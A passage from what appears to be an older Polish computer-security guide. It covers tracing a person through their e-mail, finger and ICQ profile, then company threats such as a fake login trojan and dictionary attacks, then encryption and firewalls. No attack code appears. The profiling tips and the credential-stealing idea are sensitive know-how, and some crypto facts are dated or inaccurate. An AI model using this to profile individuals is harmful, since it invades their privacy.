Na koniec warto także sprawdzić trzy rzeczy. Po pierwsze: czy i gdzie występuje w Internecie wymieniony e-mail (być może znajdziemy jego stronę WWW, strony przyjaciół, wpisy do księgi gości czy choćby archiwa z grup dyskusyjnych). Po drugie: posiadając e-mail np. na serwerze KKI, mamy także automatycznie zakładane miejsce na stronę WWW. Tak więc jeśli ktoś ma e-mail *koles@kki.net.pl*, to przynależy do niego strona *http://kki.net.pl/~koles* (o ile tylko coś do niej nagrał, bo inaczej zobaczymy, że na tej stronie nie ma żadnych danych). Tyczy się to także innych serwisów, takich jak friko, polbox itp. Po trzecie: ostatnią możliwością na sprawdzenie posiadanego e-maila jest po prostu *finger*. Nie zawsze on zadziała, ale warto spróbować. ICQ — to dobry program, dzięki któremu można porozmawiać z połową świata zachowując naprawdę sporo anonimowości. Podczas zakładania swojego numeru *UIN* podajemy wiele danych osobowych, ale nie jest to wymagane. Jak się okazuje, dane te stanowią integralna część naszego numeru i są publicznie dostępne z poziomu samego ICQ. Szczęściem jest, że w dowolnym czasie możemy je zmieniać, kasować itp, ale dużo ludzi po prostu nie ma pojęcia o tym. Aby obejrzeć informacje, kliknijmy interesującą nas osobę z listy i wybierzmy info. Jak widać nie jest to skomplikowane, ani szczególnie ukryte, jednak wielu ludzi nie ma pojęcia o tej opcji... To, czego się dowiemy (o ile dana osoba wpisała dane) to: numer UIN, adres IP, pseudonim, e-mail, imię, nazwisko, miejsce zamieszkania, czas lokalny, stronę WWW, telefon, wiek, płeć i płeć oraz dodatkowe info.

Jeśli sami zamieściliśmy zbyt wiele informacji, zmieńmy za pomocą opcji *add/change user* i wybierzmy *view/change my details*. Oczywiście nie zmienimy *adresu IP*, ale możemy za to włączyć jego ukrywanie. Niestety, jak pokazał to wcześniej opisany program ICQSniffer, jesteśmy w stanie go odczytać wraz z adresem wewnętrznym (zza firewalla i innych zapor), co jest już sporą informacją. Polecam eksperymentowanie z wyszukiwarką ICQ, w której można poszukiwać ludzi według różnych kryteriów. Inny sposób na zdobycie większej wiedzy o użytkowniku, to wpisanie do wyszukiwarki ICQ danych ze znanego nam UIN-u (nick, nazwisko, e-

mail). Polecam także wpisanie tych danych do zwykłych wyszukiwarek WWW. Być może znajdziemy jeszcze więcej informacji.

Najważniejsze zagrożenia związane z Internetem

Jedną z podstawowych zalet Internetu jest swobodny dostęp do Sieci i możliwość wymiany informacji. Oznacza to, że komputery użytkowników i informacje na nich zgromadzone są dostępne dla milionów ludzi. Im bardziej popularny jest jakiś serwer, tym większe jest ryzyko, że zostanie on zaatakowany.

W większości przypadków biura przedsiębiorstw są na ogół dość dobrze zabezpieczone przed włamaniami fizycznymi. Właściciele instalują w nich patentowe coraz bardziej wymyślne zamki, sejfy które mogą wytrzymywać bardzo wysokie temperatury, pancerne drzwi, elektroniczne alarmy i wiele innych urządzeń. Ale z całą pewnością mimo wszystkich tych mechanizmów ochrony, w tych właśnie przedsiębiorstwach często brakuje podstawowych elementów ochrony danych (odpowiedniej polityki ochrony informacji) zawartych w systemach informatycznych, do których hakerzy mają dostęp poprzez Internet.

W przypadku dużych biur lub przedsiębiorstw głównym zagrożeniem jest włamanie i kradzież danych oraz destabilizacja systemu komputerowego. Haker stanowi duże zagrożenie, ale jeszcze większe — zorganizowane działania komputerowych włamywaczy. Znają oni doskonale system, orientują się w zasadach jego zabezpieczenia, potrafią się włamać.

Ostatnim wielkim hitem, super urządzeniem „terrorystów" jest „bomba mikrofalowa" (znana jako EMP-Gun). Jest to urządzenie zakłócające działanie lub niszczące komputery impulsami elektromagnetycznymi dużej mocy. Takie działanie może spowodować przepalenie procesora lub innych układów scalonych. Działanie tych impulsów odkryto przy próbach z bronią atomową. Jest to jeden z efektów ubocznych wybuchów na dużej wysokości. W Internecie dostępne są plany takiego urządzenia, zdolnego do uszkodzenia komputera z odległości ok. 100 m. Wystarczy, że terrorysta zbliży się do pomieszczenia z serwerami. Taki atak byłby bardzo trudny do odróżnienia od normalnej awarii. Zaatakowane przedsiębiorstwo miałoby dłuższy przestrój oraz znaczne koszty wymiany zniszczonego sprzętu. Dodajmy do tego jeszcze problemy z backupami, które byłyby nieaktualne i nośnikami, na których się te backupy znajdują (byłyby zużyte do tego stopnia, że stałyby się zawodne). Koszt takiego przestoju przedsiębiorstwa i otworzenie danych byłyby zabójczy dla ofiary ataku. Kopie zapasowe zresztą to bardzo obszerny, osobny temat. Każdy powinien je mieć, ale większość instytucji i firm ich nie robi. Statystyki są alarmujące (wystarczy przeczytać raport CERT NASK dotyczący przestępczości komputerowej). W przeważającej mierze straty przedsiębiorstw zależą od tego, co reprezentują sobą dane przedsiębiorstwa lub jaką działalność prowadzą. Wszyscy powinni sobie zdawać sprawę z tego, że mogą przyjść rano do pracy i zobaczyć, że serwer dostępny do Internetu znajduje się w stanie inicjacji początkowej z komunikatem wyświetlanym na ekranie monitora:

```
...missing operating system
```

a połączenie ze światem jest nieczynne.

W wyniku włamania hakerów może zostać usunięta centralna baza haseł i nikt nie będzie mógł zalogować się na swoje hasło na serwerze. Wszystko to jednak błahostki. Można w ten sposób przecież stracić dane związane z „tajnym projektem" lub udostępnić włamywaczowi konta banku firmy do dyspozycji.

Według raportu CERT NASK intruzi włamujący się do systemów w Polsce przeprowadzali najczęściej następujące działania:

- Wprowadzenie zmian w zaatakowanym systemie poprzez modyfikację plików haseł;
- Podmienianie oprogramowania systemowego;
- Instalacja programów typu „koń trojański" lub tzw. „SNIFER", podsłuchiwanie pakietów TCP/IP;
- Ingerowanie w prywatność objawiające się najczęściej przeglądaniem poczty elektronicznej;
- Powodowanie szkód moralnych i załamań systemów komunikacyjnych (np. zmiana zawartości stron WWW, kolportaż pornografii).

Wielu administratorów lub specjalistów do spraw zabezpieczeń w przedsiębiorstwach w celu podniesienia bezpieczeństwa i efektywności pracy wyposaża swoje systemy komputerowe w mechanizmy, które w efekcie stają się przyczyną prawdziwych kłopotów.

Oto najbardziej wyraziste przykłady:

- Udostępnienie pracownikom przedsiębiorstwa łącza dostępowego do serwera poczty elektronicznej dedykowanego do pracy w podróży;
- Uruchamianie ogólnie dostępnego serwera WWW publikującego informacje o produktach i ofercie, oraz serwera FTP, przeznaczonego do rozpowszechniania np. poprawek do produkowanego oprogramowania.

Wszystkie przedstawione tu informacje dotyczą niepowołanego dostępu z zewnątrz. To oczywisty przykład zagrożenia. Powinniśmy jednak pamiętać o tym, że równie niebezpieczne mogą być ataki z wnętrza systemu informatycznego przedsiębiorstwa. Jest to przykład klasycznego sabotażu .

Pozostawienie na biurku we własnym gabinecie terminala z aktywnym superużytkownikiem może kosztować firmę bardzo wiele. Statystyki twierdzą, że 80% wszystkich problemów związanych z polityką bezpieczeństwa związane jest ze strukturą wewnętrzną przedsiębiorstwa. Pamiętajmy, że nie wszyscy pracownicy kochają swoich dyrektorów, nie wszyscy są lojalni, a prawie wszyscy chcą szybko awansować i zarabiać jak najwięcej. W wielu przypadkach wystarczy znajomość hasła uprawniającego do korzystania z zasobów sieci, aby niepowołana osoba mogła zrobić z nimi praktycznie wszystko. System haseł jest najpopularniejszym spo-

sobem identyfikacji użytkownika w systemie komputerowym. Jest on szeroko stosowany zarówno w klasycznych systemach wielodostępnych, jak i sieciowych systemach odległego dostępu. Ogólnie metoda ta pozwala stwierdzić, czy użytkownik jest tym za kogo się podaje. W przypadku systemów wielodostępnych, bazujących na klasycznych terminalach znakowych (łącza szeregowe) systemy haseł są stosunkowo bezpieczne w środowisku sieciowym.

Wiadomo, że istnieje możliwość łatwego nasłuchiwania połączenia sieciowego w celu pozyskania kombinacji identyfikator-hasło (przykładem może być Telnet). Programy typu LanWatch, IPtraca, Snoop są prostymi narzędziami pozwalającymi odczytać hasło. Klasyczne połączenie Telnet nie jest bowiem kodowane i hasło wprowadzane jest do sieci w swojej pierwotnej postaci.

Najprostszym sposobem pozyskiwania haseł jest zainstalowanie na swoim własnym koncie konia trojańskiego, czyli programu udającego pracę innego programu np: login (w Uniksie). Program ten może, jak to czyni system operacyjny, prosić o identyfikator i hasło. Dane te są zapamiętywane do dowolnego pliku, a następnie program wyświetla informacje o niepoprawnej kombinacji identyfikator-hasło i wywołuje normalny program login. Użytkownik niczego nie podejrzewając, rozpoczyna logowanie na terminalu, a po komunikacie o błędzie uznaje, że się pomylił. Jego hasło jest już w pliku na koncie złośliwego kolegi.

Typowym sposobem łamania haseł jest tzw. *DICTIONARY ATTACK* (atak poprzez słownik). Polega on na próbkowaniu programu autoryzującego całym słownikiem danych. Jeżeli weźmie się pod uwagę, że w przypadku klasycznego systemu Unix maksymalna długość hasła wynosi 8 znaków, a funkcja hamująca używa tylko siedmiu bitów znaczących otrzymujemy klucz o długości 56 bitów. Większość użytkowników stosuje „normalne" hasła. Pole poszukiwań hakera może być zwiększone tylko do np. małych liter, co odpowiada sytuacji używania klucze o długości 19 bitów. Tego typu hasła dla dobrego hakera są dość proste do złamania za pomocą tzw. słowników. Przykładem ataku poprzez słownik jest słynny program John The Ripper, który używa tej metody wielu różnych wariantach.

Internet i bezpieczeństwo

Aktualnie wiele firm czy instytucji chcących zabezpieczyć się przed atakami poprzez Internet ma świadomość tego, że potrzebuje przede wszystkim dobrej i konserwatywnej polityki bezpieczeństwa. Bez tego nie ma w ogóle sensu zaczynanie dalszej pracy. Cóż oznacza termin „polityka bezpieczeństwa"? To nie tylko zabezpieczenie danych i komputerów, ale także wszelkie dobrze przemyślane procedury postępowania w sytuacjach ewentualnego zagrożenia. Proces zabezpieczenia i utrzymywania bezpieczeństwa to działanie ciągłe. Zabezpieczenia muszą dotrzymywać kroku zmianom technologicznym.

Proces zabezpieczenia powinien przebiegać czterofazowo:

Faza pierwsza

Zaczyna się od budowy pewnych podstaw, przeszkolenia kadry kierowniczej, która powinna zrozumieć podstawowe zagadnienia bezpieczeństwa i wyznaczyć osobę odpowiedzialną za wprowadzenie i utrzymanie bezpieczeństwa.

Faza druga

To „hardening", czyli usuwanie błędów. Osoby odpowiedzialne za to wyszukują i usuwają błędy w istniejących zabezpieczeniach. Testują swoje systemy na obecność znanych luk w zabezpieczeniach. Sporządzają dokumentację testów oraz dokumentację konfiguracji sieci. Starają się wykryć błędy ludzi obsługujących i korzystających z sieci.

Faza trzecia

To wzbogacenie bezpieczeństwa, instalacja i zakup odpowiednich zapór ogniowych, systemów kontroli dostępu, monitoringu (skanery) i audytu (notowanie dostępów i autoryzacji). Należy także opracować stosowny regulamin korzystania z sieci. Równocześnie prowadzi się szkolenia dotyczące bezpiecznego używania systemu komputerowego.

Faza czwarta

Polega na kontroli tego, czy zalecania ekspertów zostały wprowadzone w życie.

Całą procedurę powinno się powtarzać co pół roku, uwzględniając nowe metody włamań i typy zabezpieczeń. Bieżącymi problemami natomiast zajmuje się odpowiednio przeszkolony pracownik firmy np. administrator. Powinien on zawsze być na miejscu i natychmiast reagować na nieprawidłowości.

Szyfrowanie informacji

W przypadku systemów komputerowych szyfrowanie jest procesem, w którym normalny tekst zamieniany jest na kompletnie niezrozumiały „bełkot", którego odczytanie wymaga specjalnego klucza. Czym dłuższy jest ten klucz i bardziej skomplikowany, tym jest on trudniejszy do złamania.

Proces szyfrowania zapewnia poufność i prywatność zarówno plików utrzymywanych na serwerze, jak i danych przesyłanych poprzez sieć. Możemy mieć duże prawdopodobieństwo, iż zaszyfrowane dane zostaną odczytane tylko przez uprawnione osoby.

Aktualnie używane są dwie podstawowe grupy systemów (algorytmów) szyfrujących — algorytmy klucza poufnego (algorytmy symetryczne) i publicznego.

W metodzie algorytmów klucza poufnego ten sam klucz używany jest zarówno do szyfrowania danych, jak i do ich rozkodowania. Ponieważ używany jest ten sam klucz do obu czynności, musi on być również zabezpieczony różnymi sposobami. Zaletą tej metody jest stosunkowo niski nakład obliczeń ponoszonych na szyfrowa-

nie, rozkodowanie nawet dużych plików. Wadą natomiast jest konieczność dostarczenia klucza wszystkim zainteresowanym, co może doprowadzić do jego przechwycenia w przypadku przesłania poprzez sieć publiczną.

Do najbardziej znanych algorytmów klucza poufnego należą:

- RC4 (*Rivers Cipher 4*) opracowany przez Ronalda Rivesta; używa on 40-bitowego klucza;
- DES (*Data Encryption Standard*) — wdrożony w 1978 roku przez IBM, używa 56-bitowego klucza i bitów parzystości;
- IDEA (*Jnternational Data Encrypion Algoritm*) bazuje na kluczu 128-bitowym;
- SKIPJACK — algorytm zaproponowany przez Narodowe Biuro Standardów USA (NIST) do użytku w szyfrujących układach elektronicznych Clipper i Capstone.

Wokół tych układów narodziło się na rynku amerykańskim wiele kontrowersji, bowiem zostały one wyposażone w odpowiedni mechanizm umożliwiający rozkodowanie informacji (po uzyskaniu zezwolenia sądowego).

Ze wszystkimi algorytmami szyfrującymi związane są restrykcje eksportowe rządu USA. Bez zezwolenia można eksportować oprogramowanie używające klucza o maksymalnej długości 40 bitów.

Druga grupa algorytmów szyfrujących jest oparta o tzw. metodę klucza publicznego. Jest to klucz asymetryczny, czy klucz publiczno-prywatny. W tym przypadku komunikujące się ze sobą strony używają dwu różnych kluczy (jednego do zaszyfrowania przesyłki, drugiego do jej rozkodowania). Klucz generowany jest przez każdą ze stron i wymieniany za pośrednictwem sieci publicznej bez utraty prywatności, bowiem staje się użyteczny jedynie w przypadku posiadania sekretnego, znanego tylko lokalnie, klucza prywatnego. Algorytmy tego typu gwarantują prywatność, ale nie zapewniają autentyczności, co może doprowadzić do różnego typu ataków znanych jako „Man in the Middle". Te algorytmy są często używane wspólnie z tzw. podpisami cyfrowymi. Do najbardziej znanych algorytmów klucza publicznego należą:

- RSA — opracowany przez Ronalda Rivesta, Adi Shamira, Leonarda Adlemana na uniwersytecie MIT. Jego siła bazuje na złożoności problemu rozkładu dużych liczb naturalnych na czynniki pierwsze. Jest to najbardziej popularny algorytm klucza publicznego, a jednocześnie jest on najbardziej odporny na brutalne ataki hakerów;
- EL Gamal — algorytm bazujący na skomplikowanych obliczeniach logarytmów dyskretnych.

Często z pojęciem szyfrowania związane są metody, czy raczej aplikacje, takie jak PGP (*Pretty Good Privacy*). PGP jest mechanizmem umożliwiającym użytkownikom kodowanie informacji utrzymywanej na zasobach serwera oraz szyfrowanie przysyłanych listów elektronicznych. Mechanizm ten zawiera narzędzia tworzenia,

certyfikowania i zarządzania kluczami. Jest to metoda typu „wszystko w jednym" — poufność (szyfrowanie), stwierdzenie autentyczności i integralność danych. Ze względu na stosowanie metody IDEA do szyfrowania (128-bitowy klucz) PGP podlega restrykcją eksportowym USA.

Firewall

Systemy „ścian ognia" (*firewall*) są to zapory, które mają stanowić przeszkodę przed wtargnięciem nieuprawnionych osób do zasobów sieci lokalnej. Systemy te powstały w celu obrony przed atakami z Internetu, ale obecnie coraz częściej stosowane są do obrony przed atakami z wnętrza sieci. Firewall często stosowane są (instalowane) na pomostach pomiędzy sieciami LAN i WAN bądź w systemach współpracujących z ruterami stanowiącymi te pomosty.

Firewall może być programem komputerowym, sprzętem wyposażonym w „ukryte" w układach elektronicznych oprogramowanie, jak również rozwiązaniem sprzętowo-programowym. Należą one do najbardziej skutecznych rozwiązań problemu bezpieczeństwa sieci. Wymagają bardzo solidnej i przemyślanej konfiguracji, która jest w zgodzie z założoną polityka bezpieczeństwa. Systemy firewall chronią sieć na kilku poziomach, umożliwiają także wdrożenie zupełnie nowych zasad bezpieczeństwa. Warto więc pamiętać, że:

- Użytkownicy wewnętrzni mogą mieć dostęp do wszystkich (lub wybranych) usług Internetu, natomiast użytkownicy zewnętrzni nie;
- Usługi takie jak e-mail mogą być dozwolone dla ruchu zewnętrznego tylko w odniesieniu do specyficznego komputera, co daje otwarcie na świat, a jednocześnie pozwala chronić i ukrywać inne zasoby sieciowe;
- Wszystkie wydarzenia są bardzo szczegółowo monitorowane i rejestrowane, a niektóre z nich generują natychmiastowe alarmy;
- Pakiety mogą podlegać badaniu jeszcze przed ich pojawieniem się w systemie operacyjnym (są niejako zdejmowane wprost z karty sieciowej i jeżeli nie spełniają zasad polityki bezpieczeństwa, są natychmiast odrzucane);
- Firewalle zawierają mechanizmy ukrywania IP komputerów chronionej sieci lokalnej, tłumaczenia adresów IP i translacji grupy wewnętrzych adresów IP do jednego lub kilku adresów zewnętrznych;
- Wiele systemów ma możliwość konstrukcji wirtualnych sieci prywatnych (VPN — *Virtual Private Network*), opartych na metodach szyfrowania transmisji danych;
- Każdy system firewall wprowadza pewne obciążenia i obniża efektywność pracy.

Większość przedstawionych tu informacji została zaczerpnięta z pracy K. J.Jakubowskiego — „Materiał Konferencyjny. Przestępczość w sieciach komputerowych".

Rodzaje zapór ogniowych

Na rynku dostępnych jest wiele produktów sprzedawanych pod nazwa firewall, lecz różnią się one poziomem oferowanych zabezpieczeń. Filtry pakietowe (*Network Level*) na podstawie adresu źródłowego i docelowego oraz portu pojedynczego pakietu decydują, czy dana przesyłka może zostać przesłana dalej, czy też nie. Zwyczajny ruter nie jest w stanie takiej decyzji podjąć, lecz bardziej nowoczesne konstrukcje mogą przechowywać wewnętrzne informacje o stanie połączeń przechodzących przez niego, o zawartości niektórych strumieni danych itp. Filtry pakietowe są zwykle bardzo szybkie, jednak ich wadą jest to, że podane kryteria selekcji mogą okazać się niewystarczające dla niektórych usług internetowych, przez co do sieci byłyby przepuszczane niepożądane pakiety, a wtedy jedną z możliwych prób ataku może być umieszczenie pakietów wyższego poziomu w fałszywych ramkach MAC lub protokółu warstwy 3 (sieciowa) i 4 (transportowa) modelu ISO/OSI.

Bramki typu Circuit Level są w stanie przyporządkowywać pakiety do istniejących połączeń TCP i dzięki temu kontrolować całą transmisję. Zaawansowane systemy potrafią także kojarzyć pakiety protokołu UDP, który w rzeczywistości kontroli połączeń nie posiada.

Firewalle Application Level to, generalnie rzecz ujmując, hosty, na których uruchomiono proxy servers, niezezwalające na bezpośredni ruch pakietów pomiędzy sieciami oraz rejestrujące i śledzące cały ruch przechodzący przez niego. Proxies potrafią wiec niejako odseparować „wiarygodną" cześć sieci od podejrzanej; mogą magazynować najczęściej zadane informacje. Dla każdej aplikacji (czyli usługi sieciowej, np. http, ftp, telnet, smtp, snmp) istnieje osobny proxy, dla jakiego definiowane są reguły, według których podejmowana jest decyzja o zaakceptowaniu bądź odrzuceniu połączenia. Niewątpliwym minusem tego rozwiązania jest konieczność stosowania wielu proxies do obsługi rożnych aplikacji; jeżeli dla danego protokołu nie jest dostępny odpowiedni proxy, to dane przesyłane w tym formacie nie będą w ogóle przepuszczane przez bramkę.

Cechy zapór ogniowych*:*

- Umożliwienie dostępu jedynie do tych usług, które są skonfigurowane przez administratora i mogą być bezpiecznie użytkowane (m.in. HTTP Proxy, Gopher, SHTTP, SSL, JavaGuard, ActiveXGuard, KeywordGuard, URL screening, RSH Proxy, Telnet Proxy, Rlogin Proxy, FTP Proxy, X11 Proxy, Finger Proxy, SMTP Proxy, POP Proxy, SNMP Proxy, NNTP Proxy, LPR Proxy, Whois Proxy, Circuit Proxy, RealAudio Proxy, RealVideo Proxy, Xing Proxy, Netshow Proxy, VDOLive Proxy, Logging System, reports, alerts, scripting, SNMP agent, SecureID, Integrated VPN, DES56, PCX Client, Authentication Server, DNS Hiding, Content Vector Protocol);

- Zapewnienie pełnego bezpieczeństwa przez sprawdzanie zawartości komunikacji sieciowej WWW, FTP, SMTP, Telnet i Rlogin;
- Realizacja funkcji SSN (Secure Server Network);
- Tłumaczenie i ukrywanie prywatnych adresów IP chronionej sieci komputerowej przez utajnienie rzeczywistych adresów sieci prywatnej oraz tłumaczenie „w locie" adresów niewłaściwych, dzięki czemu możliwe jest wykonywanie identyfikacji i autoryzacji, ukrywanie infrastruktury sieci wewnętrznej;
- Współdziałanie z systemami wykrywania włamań (np. RealSecure), które w razie wykrycia włamywacza niezwłocznie powiadamiają o tym, aby niebezpieczny kanał komunikacji sieciowej został w porę zablokowany;
- Możliwość współpracy z programami antywirusowymi (kontroli antywirusowej poddawane są wszystkie przychodzące z Internetu pliki, wiadomości lub cały generowany ruch);
- Filtrowanie adresów URL (niepożądana zawartość WWW);
- Szyfrowanie przesyłanych informacji przy zastosowaniu sprawdzonych technik kryptograficznych oraz efektywnych algorytmów generowania i dystrybucji kluczy szyfrowania (DES, RC—4, FWZ—1, MD5, SHA—1, SKIP, IPSec, IKE);
- Umożliwienie zarządzania i dostępu do urządzeń SNMP w sieci lokalnej, Intranecie lub sieci rozległej bez wystawiania systemu na niebezpieczeństwo;
- Współpraca z najważniejszymi systemami potwierdzania autentyczności (np. SecurID, RADIUS, AXENT, TACACS, Vasco, S/Key) prowadzona dla wszystkich (ponad 100) kontrolowanych usług sieciowych;
- Skanowanie WWW pod względem zawartości apletów Java, procedur ActiveX i innych potencjalnie niebezpiecznych dodatków do HTML;
- Wykrywanie i blokowanie najbardziej niebezpiecznych technik włamań np. „Spoofing", „SYN Flood", „LAND", „Ping of Death", „WinNuke";
- Zapewnienie bezpiecznego serwera poczty elektronicznej, w której przesyłki SMTP podlegają wnikliwej kontroli zawartości;
- Rozliczanie pracowników przedsiębiorstwa w zakresie użytkowania usług internetowych (np. można dowiedzieć się, z jakich serwerów korzystali użytkownicy, w jakim czasie i jak długo to robili, jakie pliki przeglądali oraz ile bajtów informacji zostało przesłanych);
- Monitorowanie aktywnych sesji sieciowych umożliwiające administratorowi śledzenie i blokowanie niebezpiecznych sesji sieciowych w czasie rzeczywistym;
- Prowadzenie analizy zdarzeń rejestrowanych przez system zaporowy razem z zapisami kontrolnymi odnotowanymi na ruterach.

Nie wszystkie zapory ogniowe składają się z kilku części. Istnieją zapory przeznaczone do użytku niekomercyjnego, które służą do ochrony pojedynczych komputerów. Zapory te zapewniają powierzchowną ochronę danych. Nie posiadają wprawdzie rozbudowanych opcji ochrony, jednak dla przeciętnego użytkownika sieci są wystarczające. W ich opcjach możemy znaleźć ochronę przed: koniami trojańskimi, wirusami w listach, przed wysyłaniem plików przez ICQ itp. Ich główną i najważniejszą cechą jest blokowanie dostępu do naszego komputera z Internetu. Wśród zapor niekomercyjnych pojawiają się takie, które w szczególności mają za zadanie blokowania portów używanych przez konie trojańskie.